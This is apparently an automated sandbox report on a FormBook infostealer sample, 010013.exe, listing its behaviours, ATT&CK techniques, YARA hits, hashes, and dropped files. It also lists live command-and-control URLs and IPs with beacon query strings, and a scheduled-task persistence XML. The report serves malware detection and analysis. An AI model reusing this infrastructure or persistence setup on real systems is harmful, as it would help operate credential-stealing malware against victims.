Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\010013.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery321	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Masquerading1	Input Capture1	Process Discovery2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
010013.exe	39%	Virustotal		Browse
010013.exe	32%	ReversingLabs	ByteCode-MSIL.Backdoor.Bulz

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ELqDlkdxF.exe	32%	ReversingLabs	ByteCode-MSIL.Backdoor.Bulz

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
6.2.010013.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comFB	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
www.nocodehost.com/o4ms/	0%	Avira URL Cloud	safe
http://www.collada.org/2005/11/COLLADASchema9Done	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://www.fontbureau.comldco	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
https://parking.bodiscdn.com	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.lifestyleeve.com/o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.lifestyleeve.com	199.59.242.153	true	true	unknown
www.smithridge.net	unknown	unknown	true	unknown
www.myceliated.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.nocodehost.com/o4ms/	true	Avira URL Cloud: safe	low
http://www.lifestyleeve.com/o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.tiro.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comFB	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.collada.org/2005/11/COLLADASchema9Done	010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comoitu	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comldco	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fonts.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://parking.bodiscdn.com	netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	010013.exe, 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.59.242.153	www.lifestyleeve.com	United States		395082	BODIS-NJUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	501987
Start date:	13.10.2021
Start time:	13:35:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	010013.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@10/4@3/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 15.7% (good quality ratio 14.3%) Quality average: 74.8% Quality standard deviation: 30.9%
HCA Information:	Successful, ratio: 99% Number of executed functions: 77 Number of non-executed functions: 107
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 95.100.218.79, 20.82.209.183, 2.20.178.24, 2.20.178.33, 20.54.110.249, 40.112.88.60, 52.251.79.25 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:37:11	API Interceptor	1x Sleep call for process: 010013.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
199.59.242.153	XaTgTJhfol.exe	Get hash	malicious	Browse	www.gafoodstamps.com/mexq/?v2JP=aujtepI6qRwt4NWlDzxdhSPeB9mp7HwM3P6GccjuQrHNTxqttOPLCNBNcH4bMoCm5uRW&GZ_=4h-TkZ9hp8gh-
	6pa7yRpcFt.exe	Get hash	malicious	Browse	www.myverizonbillpay.com/hr8n/?f0DDp6RH=ILCQys4W2nmI16PHUn3vKB7/UprAS8tji7H+tefUzZaDXaBN/QiF2o4GX0UFNMprHqhN&8pNLu=7nGt2pBPBx
	Emask230921doc.exe	Get hash	malicious	Browse	www.newyroklifeannuities.com/x9r4/?7n0=R48xY&c2Jp7Bc0=lcZHIyAd6OHv52M4P4oACjlfZtfJGnVbGUlMndCBdmn5tcdEwHSZ2MqsoIPmB/a4+IEQ
	Invoice Packing list.exe	Get hash	malicious	Browse	www.vspfotme.com/eods/?6liXpZH=EJMYTlsbPcKMchoi/NCYrSOUkQ1lcyycXKbirIJaFNH/FpU7Xng2HIBKTdIWJb6tzkCK&EBPLR=cVnDMB4H0pL
	D8043D746DC108AC0966B502B68DDEABA575E841EDFA2.exe	Get hash	malicious	Browse	ww1.survey-smiles.com/
	Productivity.exe	Get hash	malicious	Browse	ww1.thefreesmsapp.com/_tr
	Productivity.exe	Get hash	malicious	Browse	ww1.thefreesmsapp.com/_tr
	kIWGxQYKYO.exe	Get hash	malicious	Browse	www.burgettflorist.com/scb0/?3fS4=GgI5Mtow8RWwVkMKBQaBMThn8Kn2le3rEGwIGwauHSmKVNxcFOKD/koJDpRpHIi9Dc2a2cTcbQ==&s4UxHb=VdWhLdXhd8SL8l
	PO 1,5001993 21118.exe	Get hash	malicious	Browse	www.shose8.com/ergs/?3fH8bR=WRNiM0MNR83AvUgJMfCXzTGXaLsU3JZqni9ehjpnFXkT45BJtbNl1RpkrODexH0A0JoG&nX=xFQHHbDxAfpTC
	2F530A45E4ACF58D16DAD1B1E23B5B1419BA893C2F76F.exe	Get hash	malicious	Browse	ww1.survey-smiles.com/
	RFQ_Beijing Chengruisi Manufacturing_pdf.exe	Get hash	malicious	Browse	www.anodynemedicalmassage.com/euzn/?G0Ddo=u178RPbEoFHNEMSTYSAKyFLEc68kuAf3hAv/2v3T+vkoQ4nsSSLkzGkhPsJYzpfotw78F7bWTQ==&2dod=HL3Tzluhwhvxcp
	SQLPLUS.EXE	Get hash	malicious	Browse	ww1.weirden.com/
	TNT 07833955.exe	Get hash	malicious	Browse	www.tenncreative.com/b5ce/?C2M=Rg3TsdfntIiWJKNWRmLTqgm5mB7Gwns4ujDsoW9GSorZA7LMeCjIS06nAIZUc2zUa+VgrpSNrw==&2dtd=2dTpyPZX3Tqt_8d0
	LogJhhPPyK.exe	Get hash	malicious	Browse	www.mammutphilippines.com/n90q/?-ZYT=GiWrvS/99XrV+2Uf6Zy/o5YW6c6VukN0OHlBSCCHHBiFQpS9xb5cjKCaQXfJL9Q9t00b&IZsH=3fjpWpD0JdD
	PO.exe	Get hash	malicious	Browse	www.rejddit.com/ig04/?0DH8qx3=3h/Tr838qcHUz18OOMqR99bs8cT2OrpSq2e3FqStS3xcK7WNKLX9gCPVSXRmyxeIco6krjPjWg==&jL3=-ZrdqHw
	D1B9D1321F517D78BC0D1D03C5ED3C20A1CCB85BF755B.exe	Get hash	malicious	Browse	ww4.onlygoodman.com/
	pay.exe	Get hash	malicious	Browse	www.salartfinance.com/t75f/?V6yLxzHh=lAZRvM4hLFtTWseMMjmTcl+RZcUPNrURFXAml9hw9i0ZHFoSyWAXJ/sXcd8B+Vv3Doaf&bX=AdotnVi0RxtDfRqP
	DOC.exe	Get hash	malicious	Browse	www.camham.co.uk/imm8/?oZBd28E8=JSfa42tBaq4a3YeMfphPE2TCUHWdSJf7Yy7nyCnDPKehtAvkSRQbSxaf+1hgIsLr6SVj&7n6hj=p2MtFfu8w4Y
	RFQ.Order 0128-44.exe	Get hash	malicious	Browse	www.glatt.store/5afm/?0FQ0vvt=JMGrtXIs8RtMHth06d94tZTj42tDCsOeVWPwlq/2m+LWjBoF9Wmh8X/iRtktzTq0TwDw&nP=PtUdq8l
	PAYMENT ADVICE.exe	Get hash	malicious	Browse	www.wwwrigalinks.com/bp39/?kd3=7nx4e8sXT&6lTp=toZvbJQL0cTYgDF5OxAGAk7QJRoDVvuNfvSwYwfcNspP7qp4L1Koj5ofZh66BEpk6+Ro

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
BODIS-NJUS	XaTgTJhfol.exe	Get hash	malicious	Browse	199.59.242.153
	6pa7yRpcFt.exe	Get hash	malicious	Browse	199.59.242.153
	drolnux.exe	Get hash	malicious	Browse	199.59.242.153
	Emask230921doc.exe	Get hash	malicious	Browse	199.59.242.153
	Invoice Packing list.exe	Get hash	malicious	Browse	199.59.242.153
	D8043D746DC108AC0966B502B68DDEABA575E841EDFA2.exe	Get hash	malicious	Browse	199.59.242.153
	Productivity.exe	Get hash	malicious	Browse	199.59.242.153
	Productivity.exe	Get hash	malicious	Browse	199.59.242.153
	kIWGxQYKYO.exe	Get hash	malicious	Browse	199.59.242.153
	PO 1,5001993 21118.exe	Get hash	malicious	Browse	199.59.242.153
	2F530A45E4ACF58D16DAD1B1E23B5B1419BA893C2F76F.exe	Get hash	malicious	Browse	199.59.242.153
	RFQ_Beijing Chengruisi Manufacturing_pdf.exe	Get hash	malicious	Browse	199.59.242.153
	SQLPLUS.EXE	Get hash	malicious	Browse	199.59.242.153
	TNT 07833955.exe	Get hash	malicious	Browse	199.59.242.153
	LogJhhPPyK.exe	Get hash	malicious	Browse	199.59.242.153
	PO.exe	Get hash	malicious	Browse	199.59.242.153
	D1B9D1321F517D78BC0D1D03C5ED3C20A1CCB85BF755B.exe	Get hash	malicious	Browse	199.59.242.153
	pay.exe	Get hash	malicious	Browse	199.59.242.153
	DOC.exe	Get hash	malicious	Browse	199.59.242.153
	Factura proforma adjunta.exe	Get hash	malicious	Browse	199.59.242.150

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\010013.exe.log Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Temp\tmp30F5.tmp Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.1816662051183195
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/S7hblNMFp//rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBG1tn:cbhK79lNQR/rydbz9I3YODOLNdq3G
MD5:	D8B84E3256D1DA52F9B1E5C0A6008F34
SHA1:	F134BC15D5A34A1059E8050724115B08EABDAD86
SHA-256:	3C57F0275A427F06FDFACD5D230CB58F73B5101451F10C315909F24FB64117F5
SHA-512:	B5D3E6B44F4ECB9595496606C9AD8FA8BE9776F7ECA305F33F39B36B347584CF45011A0D5197415359ED582752FD862465AD8B3169931122A3DB0B12A259020D
Malicious:	true
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\ELqDlkdxF.exe Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601600
Entropy (8bit):	7.606069522598356
Encrypted:	false
SSDEEP:	12288:LQjPkrSB8R8NmZHakSp3dB8ls0eOKsRJBOBnylN2:MjPpB+8AVaXr0JZ/KnKN
MD5:	B670879D45E75EB7F88FE047F9E88E5F
SHA1:	7497D669A327AEBF33EC9DD1C554444D4EE826CF
SHA-256:	EC427D5A521CDC4F2690AC7FFA883C982C4E3008991127998B0CFDF32F240F30
SHA-512:	B3F60DC3E35BABBCE28CBBDB21E067DBDFA41B05CCFB35693BC4C84DB90FE32551701924EDE85517CD5676CCA999A16D3BFFC71175A97B1EA74AD41CFCC45839
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Qfa..............0.."...........@... ...`....@.. ....................................@.................................0@..O....`............................................................................... ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc...............,..............@..B................d@......H........C..${.............@...........................................".(.........0............\|....(.....+......0...............\|.....(.......(&.......0............{....l#......o@[.+....0..W.........#.......?....,..#.......?...+..#............,..#.............#......o@Z.}.....(&......0............{.....+...0................}.........0............(....(l....+......0..............,.....(-.....+...(..........0............{.....+...0..C...........,...(.....(.........

C:\Users\user\AppData\Roaming\ELqDlkdxF.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
